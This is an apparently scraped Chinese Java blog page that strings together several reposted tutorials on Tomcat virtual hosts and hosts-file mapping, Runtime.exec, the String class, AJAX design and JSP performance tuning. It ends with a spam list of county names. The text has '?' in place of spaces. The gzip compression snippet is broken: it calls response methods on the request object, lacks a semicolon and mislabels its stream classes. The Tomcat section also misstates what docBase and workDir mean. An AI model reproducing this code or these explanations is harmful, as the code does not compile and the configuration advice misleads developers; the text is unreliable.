            125行:<Engine?name="Catalina"?defaultHost="ycoe.vicp.net">在下面配置的<Host/>中,必須有一個Host和這里的defaultHost的值相同!

          ????????192行:<Host?name="ycoe.vicp.net"?appBase="webapps"?unpackWARs="true"?autoDeploy="true"?xmlValidation="false"?xmlNamespaceAware="false">

            然后再添加360行開始的<Host>元素:<Host?name="yvor.vicp.net"?appBase="webapps"unpackWARs="true"?autoDeploy="true"
          ????????xmlValidation="false"?xmlNamespaceAware="false">
          ????<Context?docBase="D:\WORKS\YCOE\ycoe"?path="/"?reloadable="true"?
          ????????????workDir="D:\WORKS\YCOE\Tomcat\work\ycoe"></Context>
          </Host>
            這里是設置我們的第二個虛擬網站的域名.
            注:<Context/>里面的內容并不是我們實際應用的,我們可以通過另一種比較方便而且容易修改的方式來設置這些參數.下面我們來做這方面的配置:
            1.在%CATALINA_HOME?%\conf\Catalina目錄下創建ycoe.vicp.net和yvor.vicp.net兩個文件夾.
            2.在這兩個文件夾里面創建ROOT.xml文件(要以ROOT.xml為名稱,否則雖然不會出錯,但不能用http://ycoe.vicp.nethttp://yvor.vicp.net直接訪問)
            3.ROOT.xml的內容如下:
          <?xml?version='1.0'?encoding='utf-8'?>
          <Context?docBase="D:\WORKS\EShop\EWebShop"?path="/"?reloadable="true"?
          workDir="D:\WORKS\EShop\Tomcat\work\EWebShop">
          </Context>

            根據自己的實際情況,設置這里的docBase?和workDir的路徑.docBase是說明文檔的路徑,workDir是網站程序的路徑,如果用相對路徑,則是在%CATALINA_HOME?%\webapp目錄下,path是訪問的路徑

            參考官方文檔:

          Any?XML?file?in?the?$CATALINA_HOME/conf/[engine_name]/[host_name]?directory?is?assumed?to?contain?a?Context?element?(and?its?associated?subelements)?for?a?single?web?application.?The?docBase?attribute?of?this?<Context>?element?will?typically?be?the?absolute?pathname?to?a?web?application?directory,?or?the?absolute?pathname?of?a?web?application?archive?(WAR)?file?(which?will?not?be?expanded).?
          Any?web?application?archive?file?within?the?application?base?(appBase)?directory?that?does?not?have?a?corresponding?directory?of?the?same?name?(without?the?".war"?extension)?will?be?automatically?expanded,?unless?the?unpackWARs?property?is?set?to?false.?If?you?redeploy?an?updated?WAR?file,?be?sure?to?delete?the?expanded?directory?when?restarting?Tomcat,?so?that?the?updated?WAR?file?will?be?re-expanded?(note?that?the?auto?deployer?will?automatically?take?care?of?this?if?it?is?enabled).?
          Any?subdirectory?within?the?application?base?directory?that?appears?to?be?an?unpacked?web?application?(that?is,?it?contains?a?/WEB-INF/web.xml?file)?will?receive?an?automatically?generated?Context?element,?even?if?this?directory?is?not?mentioned?in?the?conf/server.xml?file.?This?generated?Context?entry?will?be?configured?according?to?the?properties?set?in?any?DefaultContext?element?nested?in?this?Host?element.?The?context?path?for?this?deployed?Context?will?be?a?slash?character?("/")?followed?by?the?directory?name,?unless?the?directory?name?is?ROOT,?in?which?case?the?context?path?will?be?an?empty?string?("").?

            你也可以在這兩個目錄下創建其它xml的文件

            但是這時你通過瀏覽器訪問http://ycoe.vicp.nethttp://yvor.vicp.net時并不能瀏覽到你的網頁,因為它把這些網址解析到廣域網上去了,除非你用域名綁定.
            為了讓局域本機不把這兩個網址解析到廣域網上去.我們可以通過以下設置實現(Windows?XP,其它操作系統沒有試過):
           1.用文本編輯器打開C:\WINDOWS\system32\drivers\etc目錄的hosts文件
           2.在內容最后另起一行,添加以下內容:
          ????????????127.0.0.1???????ycoe.vicp.net
          ????????????127.0.0.1???????yvor.vicp.net

            可以由上面的注釋部分了解它的作用:


          #?Copyright?(c)?1993-1999?Microsoft?Corp.
          #
          #?This?is?a?sample?HOSTS?file?used?by?Microsoft?TCP/IP?for?Windows.
          #
          #?This?file?contains?the?mappings?of?IP?addresses?to?host?names.?Each
          #?entry?should?be?kept?on?an?individual?line.?The?IP?address?should
          #?be?placed?in?the?first?column?followed?by?the?corresponding?host?name.
          #?The?IP?address?and?the?host?name?should?be?separated?by?at?least?one
          #?space.
          #
          #?Additionally,?comments?(such?as?these)?may?be?inserted?on?individual
          #?lines?or?following?the?machine?name?denoted?by?a?'#'?symbol.
          #
          #?For?example:
          #
          #??????102.54.94.97?????rhino.acme.com??????????#?source?server
          #???????38.25.63.10?????x.acme.com??????????????#?x?client?host
            到這里,全部的配置已經完成了.重啟Tomcat,打開http://ycoe.vicp.nethttp://yvor.vicp.net就可以看到預期的效果了.呵呵?
            下載相關文件http://www.cnblogs.com/Files/ycoe/Catalina.rar

                   --原創文章,可以隨意復制發表,但請注明出處與作者
          http://ycoe.cnblogs.com/archive/2006/04/18/377737.html
                                    BY?YCOE?

          Java調用可執行文件和批處理命令
          轉貼

          在java調用exe,com可執行文件和bat,cmd批處理文件
          一。運行exe文件

          ???1.?Java?JDK里已經提供了調用的方法,不在累贅,代碼如下。

          ????try?{
          ????????String?command?=?"notepad";
          ????????Process?child?=?Runtime.getRuntime().exec(command);
          ????}?catch?(IOException?e)?{
          ????}

          二。運行bat(批處理)文件

          ???1.

          import?java.io.*;

          public?class?Test
          {
          ????public?static?void?main(String[]?args)
          ????{
          ????????System.out.println("args?:?"?+?java.util.Arrays.asList(args));

          ????????try
          ????????{
          ????????????String?command?=?args.length?==?0???"notepad"?:?args[0];
          ????????????Process?child?=?Runtime.getRuntime().exec(command);

          ????????????String?line?=?null;
          ????????????BufferedReader?reader?=?new?BufferedReader(new?InputStreamReader(child.getInputStream()));
          ????????????while((line?=?reader.readLine())?!=?null)
          ????????????{
          ????????????????System.out.println(line);
          ????????????}
          ????????}
          ????????catch?(Exception?ex)
          ????????{
          ????????????ex.printStackTrace();
          ????????}
          ????}

          }

          ???2.?雖然網上有人說找不到直接執行bat文件的方法,但我使用這種方法似乎也可以達到執行bat文件的效果,原本的希望是看看能從Process中讀到什么信息,結果直接把bat文件中的內容按行打印并執行了。
          ???3.?但因為InputStream一直沒有關閉,這個循環變成了一個死循環,不知道如何判斷批處理文件何時執行完畢。
          String類的相關應用
          轉貼

          Lingo
          2006-03-07?17:09

          ========================================================

          java.lang.String
          字符串類,包含了字符串的值和實現字符串相關操作的一些方法。
          其實字符串在java中的實現比較特殊,你可以不使用構造方法,就可以直接獲得一個字符串對象。

          String?str1?=?"test";//不使用構造方法
          String?str2?=?new?String("test");//使用構造方法

          實際上以上兩者的效果是相同的,就是創建了一個內容為"test"的字符串。

          ========================================================

          下面我們來說一下String類本身的特性。

          首先需要注意到的是String是一個final類,所以你無法讓自己寫一個類來繼承String的變量和方法。

          String類的另一點特性是,一旦你創建了一個String類,那么它的值便無法再做更改了。雖然String類包

          含substring()一類可以返回子字符串的方法,但實際上,這些方法并沒有對原來的String類的內容做任

          何修改,它們只是新建了另一個String類,并把它作為結果返回而已。這一點對程序設計產生的影響我們

          在后面還會討論到。

          后一點特性是需要背過的,否則在后期的程序設計和程序優化過程中都可能會遇到問題。切記,切記。

          ========================================================

          簡單介紹幾個常用的方法。

          public?boolean?equals(Object?obj)
          判斷當前字符串與obj的內容是否相同
          public?boolean?equalsIgnoreCase(String?str)
          判斷當前字符串與str的內容是否相同,這個方法不會區分大小寫字母的區別

          public?int?length()
          返回字符串的長度,即字符的總個數

          public?String?trim()
          去掉字符串兩端的空白,包括“空格,\t,\n,\r等控制符”

          public?String?substring(int?start,int?end)
          根據開始和結束的位置,返回當前String的子字符串
          public?String?substring(int?start)
          從開始位置開始到字符串結束,返回子字符串

          public?char?charAt(int?index)
          返回指定位置的字符

          public?int?indexOf(String?str)
          返回子字符串在當前字符串的位置,如果當前字符串不包含子字符串就返回-1

          public?String?concat(String?str)
          返回一個字符串,內容是當前字符串與str連接而成的。
          字符串連接可以簡化寫為String?str?=?str1?+?str2;結果與concat方法相同

          public?boolean?startsWith(String?str)
          判斷當前字符串,是否以str開頭
          public?boolean?endsWith(String?str)
          判斷當前字符串,是否以str結尾

          ========================================================

          String?str?=?"I?am?"?+?"Lingo!";
          這樣可以獲得一個內容為"I?am?Lingo!"的字符串,在java里可以通過這種簡單的方式實現字符串的連接

          。這里需要注意的是,這個過程實際上生成了三個String對象,"I?am?"和"Lingo!"先被生成,然后用他

          們再創建一個String對象str,str的內容是兩者的總和。所以,使用+進行字符串連接的時候會很耗費資

          源,這個時候就需要使用另一個類StringBuffer,它的內容是可以修改的,實際上jvm內部編譯之后,“

          用+進行字符串連接”也是用StringBuffer實現的。

          String?str?=?"I?am?"?+?"Lingo!";
          String?str?=?new?StringBuffer("I?am?").append("Lingo!").toString();

          上邊兩個是等價的。

          StringBuffer類還提供了許多便利的方法,對字符串進行操作

          public?void?reverse()
          反轉字符串

          public?void?append(...)
          在字符串最后添加信息

          public?void?insert(int?start,...)
          在索引位置插入信息

          public?void?delete(int?start,int?end)
          刪除指定范圍的內容

          ========================================================

          最后談一談split與replaceAll方法

          public?String[]?split(String?regex)
          根據分隔符,把字符串切割成字符串數組

          public?String?replace(String?regex,String?str)
          把字符串中所有與regex匹配的部分都替換成str

          regex代表“正則表達式”,如果你并不清楚它的原理,很可能會出現問題。

          "1,3,4".split(",")返回的結果是{"1","3","4"}這三個字符串組成的數組
          "1|3|4".split("|")返回的結果卻是{"1","|","3","|","4"}五個字符串組成的數組

          這個問題的原因是由于在“正則表達式”中,“|”是一個有特殊含義的字符,表示“或”,直接使用

          split("|")就會把每個字符分開了。如果希望使用"|"作為分隔符,就需要使用轉義字符。

          "1|3|4".split("\\|")返回的結果就是{"1","3","4"}三個字符串組成的數組了
          “\|”是正則表達式中代表"|"的專一字符,但因為在String中“\”不能單獨出現,還需要進行一次轉義

          ,就變成了“\\|”這種形式。

          replaceAll(String?regex,String?str)也是這種情況。

          關于“正則表達式”更詳細的用法,請參考java.util.regex包。
          Thinking?in?AJAX?--?基于AJAX的WEB設計
          轉貼??????

          眾所周知,異步交互、JavaScript腳本和XML封裝數據是AJAX的三大特征。其實,在實際應用中,不需要牢牢套死這三條大律,在我看來,AJAX?-?X,即去掉用XML封裝數據,也不失為一種好的設計思路,如果應用恰當,更顯輕盈步伐和巧妙思路。

          一般讀取AJAX返回的XML結構的數據時使用XMLHttp的responseXML對象屬性,同時,XMLHttp也提供了另外一個屬性,即ResponseText,通過這個屬性,XMLHttp可以接受來自服務器的文本結構的字符串信息。去掉XML的AJAX可以使用ResponseText這個對象屬性,很靈活的操控返回數據的格式,可以自定義格式,比如我通常喜歡用c語言的那種文件流方式定義返回的字符串結構,有文件頭和具體的文件信息實體,文件頭分為狀態信息以及文件字符長度,我摒棄了文件字符長度的定義,規定死接受的ResponseTex字符串中的第一位為狀態碼,比如設定常量值0表示一起正常,非0的數字表示不正常,甚至有錯誤等。如果有非0值,程序自動取第二位起到257位(長度為256)的字符串組成為狀態信息,從258位開始到末尾的字符串就是服務器返回的正常結果信息。

          ?
          substring(0,1)取狀態碼
          substring(1,256)取服務器錯誤信息(錯誤信息不夠256位用空格補齊,取到數據后進行Trim處理)
          substring(256,末尾)取服務器返回的數據信息
          三次substring即完成了一個簡單但完整的交互工作。比起XML解析組件來說要快的多。

          ?

          ???????用ResponseText比封裝為XML處理數據快和簡單是一個原因,另一個原因是可操控性更大更靈活,打開Google?Suggest,在搜索框輸入字符可以給你給出拼寫提示,Suggest就是應用了AJAX技術,不過它在從服務器返回數據時并沒有使用XML封裝,也沒有自定義ResponseText格式,而是直接將返回代碼組織成js腳本,通過瀏覽器返回后直接執行,如eval(XMLHttp.ResponseText)這樣的方式進行執行,

          sendRPCDone(frameElement,?"ajax",?new?Array("ajax",?"ajax?amsterdam",?"ajax?fc",?"ajax?ontario",?"ajax?grips",?"ajax?football?club",?"ajax?public?library",?"ajax?football",?"ajax?soccer",?"ajax?pickering?transit"),?new?Array("3,840,000?results",?"502,000?results",?"710,000?results",?"275,000?results",?"8,860?results",?"573,000?results",?"40,500?results",?"454,000?results",?"437,000?results",?"10,700?results"),?new?Array(""));?
          瀏覽器段拿到這段代碼后直接eval就可以了,至于sendRPCDone這個函數,那當然得實現定義后并裝載到頁面中啦。XMLHttp這個名字以XML開頭,讓很多人禁錮了思想和創意,完全拋棄X,你也可以做出純AJAX的實例來。?

          當然,對于大型系統來講,為了保持數據接口的一致和整齊,還是用XML來傳遞更嚴謹更統一點,聽說微軟已經發起了重寫XML?Parse組件的號召,估計下一個版本的XMLHttp還是DOMParser還是MSXML2.DOMDocument都會大大提高效率,減少資源占用的。

          一、AJAX最值得稱贊的是異步交互,而不是無刷新
          ?????很多人都看好AJAX無刷新的技術,以至于認同AJAX就是用來做無刷新的。這個認識是錯誤的,什么是無刷新?無刷新就是頁面無需重載,那什么又是異步交互?異步交互就是一個簡單的多線程,當你在一個blog里看文章時,同時也可以利用AJAX進行無刷新的回復提交,看起來雖然也是無刷新,但這里最重要的是異步,即你能一邊看文章,一邊又能向服務器提交你的回復信息,利用好這個異步,才能算是掌握了AJAX的精髓。很多場合,無刷新是呈現給用戶的視覺體驗,而異步交互卻是默默無聞的工作在臺后,這種情況導致大多數人的錯誤理解了AJAX的權重之分。

          二、推薦在WEB上輕量級的應用AJAX

          著名的圖片存儲網站Flickr利用AJAX可謂出神入化。我之所以這么說,是因為我認為Flickr深知AJAX的利與弊,并且牢牢抓住自己的網站的功能特點,并沒有因AJAX而AJAX,而是架驅于技術至上,讓AJAX融于網站之中,為網站提供了更好的功能服務。如Flickr中無論是在多圖列表頁面還是單圖詳細頁面,修改圖片的標題和描述都應用了AJAX技術,讓用戶無需跳轉到單獨的編輯頁面中,編輯后單擊保存,亦使用了異步交互的方式進行數據提交,這時,頁面上顯示一個Loading字符外,其他部分不受任何影響,可謂太貼心的服務。?


          再如基于Tag的專業Blog搜索服務商Technorati也使用了AJAX,在搜索某個Tag時,頁面主導部分會即刻顯示所有Technorati數據庫中查詢到的數據條目,在左邊的側邊欄上會顯示兩個Loading圖標,過一會兒,這兩個Loading就會顯示具體的內容了,顯示的是此Tag相關的Flickr的圖片和書簽服務網站(Furl&del.icio.us)的鏈接,因為這兩部分內容是取自其他網站,如果由服務器統一先取得數據在一同顯示到頁面時,會受到網速影響而變慢,通過AJAX的異步交互方式首先立即顯示本地數據,然后由客戶端去和Flickr、Furl、del.icio.us打交道分別取得它們的數據,即節約了流量帶寬又不影響用戶訪問速度,可謂高明。?

          通過以上兩個國外成功應用AJAX的網站,我們發現他們都使用的是輕量級的AJAX,就是那種交互簡單,數據較少的操作。這也符合AJAX的本意,雖然像
          http://www.backbase.com/和bindows都在RIA上有驚人的表現能力,但是速度慢、搜索引擎支持不好、開發難度大等毛病還是無法讓用戶滿意的,請記住:AJAX的最終目的是為了提高用戶體驗,為了方便用戶交互,而不是因技術而技術的。

          三、AJAX的MVC架構設計
          很多人認為在成熟的框架中應用AJAX會破壞框架的完整性,比較常見的說法有三層架構的WEB應用中破壞MVC模式,其實不然。MVC的理論我就不多說了,經典的那三個層、五條線大家都很熟悉,在WEB應用中,因為瀏覽器/服務器固有的這種請求/響應的斷開式網絡通訊模式,決定了在Model層無法實現主動向View層發出數據更新事件,所以一般常見的成熟MVC框架中都將經典MVC理論稍作修改:由Model層處理完業務后通知Control層,然后由Control層承擔向View發送數據更新的義務。但是AJAX天生具有監聽功能,AJAX實現異步響應的那個OnReadyStateChange事件就具有在客戶端程序中才會有的事件監聽功能。現在想來,利用AJAX實現的MVC模型有如下圖這樣:


          理想化的設計如下所示:


          三層對應的文件對象:view.jsp(視圖)、action.do(控制器)、model.java(模型)?
          view.jsp是用戶看到的界面,并通過內置的AJAX對象異步方式給action.do發送請求,AJAX.OnReadyStateChange開始監聽?
          action.do接收到view.jsp發過來的請求(GET或者POST方式),通過Request判斷后發送給相應的業務/數據模型model.java?
          model.java開始執行業務操作,執行完畢直接給view.jsp頁面發送數據更新的通知,這個通知的消息有可能是XML封裝的數據,也有可能是一段文本,甚至是一段HTML代碼,當然,既然用MVC,不推薦有Model發送HTML,推薦還是用XML封裝業務數據即可。?
          view.jsp頁面中AJAX對象的OnReadyStateChange接收到了數據更新通知,根據實際情況用DOM進行頁面呈現更新。?
          通過以上幾步一氣呵成,一個典型的基于MVC的三層交互就完成了。當然,熟悉WEB下的MVC框架的用戶,如熟悉Struts的Java開發人員可能不習慣由Model層給View直接發送數據更新通知,那咱們也可以轉變一下,Model層業務處理完畢將更新通知先發送給Control,由Control去通知View亦可。?

          提升JSP應用程序的七大絕招
          轉貼

          你時常被客戶抱怨JSP頁面響應速度很慢嗎?你想過當客戶訪問次數劇增時,你的WEB應用能承受日益增加的訪問量嗎?本文講述了調整JSP和servlet的一些非常實用的方法,它可使你的servlet和JSP頁面響應更快,擴展性更強。而且在用戶數增加的情況下,系統負載會呈現出平滑上長的趨勢。在本文中,我將通過一些實際例子和配置方法使得你的應用程序的性能有出人意料的提升。其中,某些調優技術是在你的編程工作中實現的。而另一些技術是與應用服務器的配置相關的。在本文中,我們將詳細地描述怎樣通過調整servlet和JSP頁面,來提高你的應用程序的總體性能。在閱讀本文之前,假設你有基本的servlet和JSP的知識。

            方法一:在servlet的init()方法中緩存數據

            當應用服務器初始化servlet實例之后,為客戶端請求提供服務之前,它會調用這個servlet的init()方法。在一個servlet的生命周期中,init()方法只會被調用一次。通過在init()方法中緩存一些靜態的數據或完成一些只需要執行一次的、耗時的操作,就可大大地提高系統性能。

            例如,通過在init()方法中建立一個JDBC連接池是一個最佳例子,假設我們是用jdbc2.0的DataSource接口來取得數據庫連接,在通常的情況下,我們需要通過JNDI來取得具體的數據源。我們可以想象在一個具體的應用中,如果每次SQL請求都要執行一次JNDI查詢的話,那系統性能將會急劇下降。解決方法是如下代碼,它通過緩存DataSource,使得下一次SQL調用時仍然可以繼續利用它:



          ?
          ?
          ?public?class?ControllerServlet?extends?HttpServlet
          {
           private?javax.sql.DataSource?testDS?=?null;?
           public?void?init(ServletConfig?config)?throws?ServletException
           {
            super.init(config);?
            Context?ctx?=?null;
            try
            {?
             ctx?=?new?InitialContext();
             testDS?=?(javax.sql.DataSource)ctx.lookup("jdbc/testDS");
            }
            catch(NamingException?ne)
            {
             ne.printStackTrace();?
            }
            catch(Exception?e)
            {
             e.printStackTrace();
            }
           }

           public?javax.sql.DataSource?getTestDS()
           {
            return?testDS;
           }
           ...
           ...?
          }?

            方法?2:禁止servlet和JSP?自動重載(auto-reloading)

            Servlet/JSP提供了一個實用的技術,即自動重載技術,它為開發人員提供了一個好的開發環境,當你改變servlet和JSP頁面后而不必重啟應用服務器。然而,這種技術在產品運行階段對系統的資源是一個極大的損耗,因為它會給JSP引擎的類裝載器(classloader)帶來極大的負擔。因此關閉自動重載功能對系統性能的提升是一個極大的幫助。

            方法?3:?不要濫用HttpSession?

            在很多應用中,我們的程序需要保持客戶端的狀態,以便頁面之間可以相互聯系。但不幸的是由于HTTP具有天生無狀態性,從而無法保存客戶端的狀態。因此一般的應用服務器都提供了session來保存客戶的狀態。在JSP應用服務器中,是通過HttpSession對像來實現session的功能的,但在方便的同時,它也給系統帶來了不小的負擔。因為每當你獲得或更新session時,系統者要對它進行費時的序列化操作。你可以通過對HttpSession的以下幾種處理方式來提升系統的性能:

            ??如果沒有必要,就應該關閉JSP頁面中對HttpSession的缺省設置:?如果你沒有明確指定的話,每個JSP頁面都會缺省地創建一個HttpSession。如果你的JSP中不需要使用session的話,那可以通過如下的JSP頁面指示符來禁止它:



          ?
          ?
          ?<%@?page?session="false"%>??

            ??不要在HttpSession中存放大的數據對像:如果你在HttpSession中存放大的數據對像的話,每當對它進行讀寫時,應用服務器都將對其進行序列化,從而增加了系統的額外負擔。你在HttpSession中存放的數據對像越大,那系統的性能就下降得越快。

            ??當你不需要HttpSession時,盡快地釋放它:當你不再需要session時,你可以通過調用HttpSession.invalidate()方法來釋放它。

            ??盡量將session的超時時間設得短一點:在JSP應用服務器中,有一個缺省的session的超時時間。當客戶在這個時間之后沒有進行任何操作的話,系統會將相關的session自動從內存中釋放。超時時間設得越大,系統的性能就會越低,因此最好的方法就是盡量使得它的值保持在一個較低的水平。


            方法?4:?將頁面輸出進行壓縮

            壓縮是解決數據冗余的一個好的方法,特別是在網絡帶寬不夠發達的今天。有的瀏覽器支持gzip(GNU?zip)進行來對HTML文件進行壓縮,這種方法可以戲劇性地減少HTML文件的下載時間。因此,如果你將servlet或JSP頁面生成的HTML頁面進行壓縮的話,那用戶就會覺得頁面瀏覽速度會非常快。但不幸的是,不是所有的瀏覽器都支持gzip壓縮,但你可以通過在你的程序中檢查客戶的瀏覽器是否支持它。下面就是關于這種方法實現的一個代碼片段:



          ?
          ?
          ?public?void?doGet(HttpServletRequest?request,?HttpServletResponse?response)
          throws?IOException,?ServletException?
          {
           OutputStream?out?=?null
           String?encoding?=?request.getHeader("Accept-Encoding");?
           if?(encoding?!=?null?&&?encoding.indexOf("gzip")?!=?-1)
           {
            request.setHeader("Content-Encoding"?,?"gzip");
            out?=?new?GZIPOutputStream(request.getOutputStream());
           }
           else?if?(encoding?!=?null?&&?encoding.indexOf("compress")?!=?-1)
           {
            request.setHeader("Content-Encoding"?,?"compress");
            out?=?new?ZIPOutputStream(request.getOutputStream());
           }?
           else
           {
            out?=?request.getOutputStream();
           }
           ...
           ...?
          }??

            方法?5:?使用線程池

            應用服務器缺省地為每個不同的客戶端請求創建一個線程進行處理,并為它們分派service()方法,當service()方法調用完成后,與之相應的線程也隨之撤消。由于創建和撤消線程會耗費一定的系統資源,這種缺省模式降低了系統的性能。但所幸的是我們可以通過創建一個線程池來改變這種狀況。另外,我們還要為這個線程池設置一個最小線程數和一個最大線程數。在應用服務器啟動時,它會創建數量等于最小線程數的一個線程池,當客戶有請求時,相應地從池從取出一個線程來進行處理,當處理完成后,再將線程重新放入到池中。如果池中的線程不夠地話,系統會自動地增加池中線程的數量,但總量不能超過最大線程數。通過使用線程池,當客戶端請求急劇增加時,系統的負載就會呈現的平滑的上升曲線,從而提高的系統的可伸縮性。

            方法?6:?選擇正確的頁面包含機制

            在JSP中有兩種方法可以用來包含另一個頁面:1、使用include指示符(<%@?includee?file=”test.jsp”?%>)。2、使用jsp指示符(<jsp:includee?page=”test.jsp”?flush=”true”/>)。在實際中我發現,如果使用第一種方法的話,可以使得系統性能更高。

            方法?7:正確地確定javabean的生命周期

            JSP的一個強大的地方就是對javabean的支持。通過在JSP頁面中使用<jsp:useBean>標簽,可以將javabean直接插入到一個JSP頁面中。它的使用方法如下:



          ?
          ?
          ?<jsp:useBean?id="name"?scope="page|request|session|application"?class=
          "package.className"?type="typeName">
          </jsp:useBean>?

            其中scope屬性指出了這個bean的生命周期。缺省的生命周期為page。如果你沒有正確地選擇bean的生命周期的話,它將影響系統的性能。

            舉例來說,如果你只想在一次請求中使用某個bean,但你卻將這個bean的生命周期設置成了session,那當這次請求結束后,這個bean將仍然保留在內存中,除非session超時或用戶關閉瀏覽器。這樣會耗費一定的內存,并無謂的增加了JVM垃圾收集器的工作量。因此為bean設置正確的生命周期,并在bean的使命結束后盡快地清理它們,會使用系統性能有一個提高。

            其它一些有用的方法?

            ??在字符串連接操作中盡量不使用“+”操作符:在java編程中,我們常常使用“+”操作符來將幾個字符串連接起來,但你或許從來沒有想到過它居然會對系統性能造成影響吧?由于字符串是常量,因此JVM會產生一些臨時的對像。你使用的“+”越多,生成的臨時對像就越多,這樣也會給系統性能帶來一些影響。解決的方法是用StringBuffer對像來代替“+”操作符。

            ??避免使用System.out.println()方法:由于System.out.println()是一種同步調用,即在調用它時,磁盤I/O操作必須等待它的完成,因此我們要盡量避免對它的調用。但我們在調試程序時它又是一個必不可少的方便工具,為了解決這個矛盾,我建議你最好使用Log4j工具(http://Jakarta.apache.org?),它既可以方便調試,而不會產生System.out.println()這樣的方法。

            ??ServletOutputStream?與?PrintWriter的權衡:使用PrintWriter可能會帶來一些小的開銷,因為它將所有的原始輸出都轉換為字符流來輸出,因此如果使用它來作為頁面輸出的話,系統要負擔一個轉換過程。而使用ServletOutputStream作為頁面輸出的話就不存在一個問題,但它是以二進制進行輸出的。因此在實際應用中要權衡兩者的利弊。

            總結

            本文的目的是通過對servlet和JSP的一些調優技術來極大地提高你的應用程序的性能,并因此提升整個J2EE應用的性能。通過這些調優技術,你可以發現其實并不是某種技術平臺(比如J2EE和.NET之爭)決定了你的應用程序的性能,重要是你要對這種平臺有一個較為深入的了解,這樣你才能從根本上對自己的應用程序做一個優化!
          posted on 2007-03-25 12:36 MEYE 閱讀(1950) 評論(1)  編輯  收藏

          FeedBack:
          # re: 數據庫連接池的原理機制
          2012-08-31 09:55 | feiji
          寫的不錯  回復  更多評論
            

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 改则县| 蕲春县| 大宁县| 九龙坡区| 广东省| 石楼县| 获嘉县| 客服| 姚安县| 若羌县| 赞皇县| 和硕县| 新宁县| 苍南县| 龙江县| 隆子县| 石门县| 山东省| 元谋县| 永修县| 房山区| 资溪县| 洛隆县| 北宁市| 蕲春县| 永州市| 岐山县| 海晏县| 樟树市| 濮阳县| 大关县| 久治县| 阿荣旗| 介休市| 龙游县| 寻甸| 北京市| 汉中市| 普格县| 卢氏县| 泗水县|